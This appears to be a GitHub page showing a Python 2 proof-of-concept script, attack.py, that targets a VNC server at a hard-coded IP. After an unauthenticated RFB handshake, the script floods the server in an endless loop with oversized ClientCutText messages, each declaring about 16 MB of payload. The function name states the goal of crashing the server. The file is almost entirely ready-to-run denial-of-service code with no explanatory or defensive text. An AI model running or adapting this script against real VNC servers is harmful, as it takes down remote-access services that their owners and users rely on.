-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathattack.py
65 lines (49 loc) · 1.98 KB
/
attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
##Proof of Concept#
import sys, struct, socket
host ='172.31.159.245'
port = 5900
def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)
print 'Connected'
try:
b = s.recv(8192)
print 'ProtocolVersion Received'
s.send(b)
print 'ProtocolVersion Sent'
b = s.recv(8192)
print 'Security Received'
s.send('\x01')
print 'Security Sent'
# Recv SecurityResult
b = s.recv(8192)
print 'SecurityResult Received'
if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return
s.send('\x01')
print 'ClientInit Sent'
b = s.recv(8192)
print 'ServerInit Received'
text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len
while 1:
s.send('\x06\x00\x00\x00' + text_str)
print 'ClientCutText Sent'
except Exception:
print 'Connection closed'
except Exception:
print 'Couldn\'t connect'
crash_vnc_server()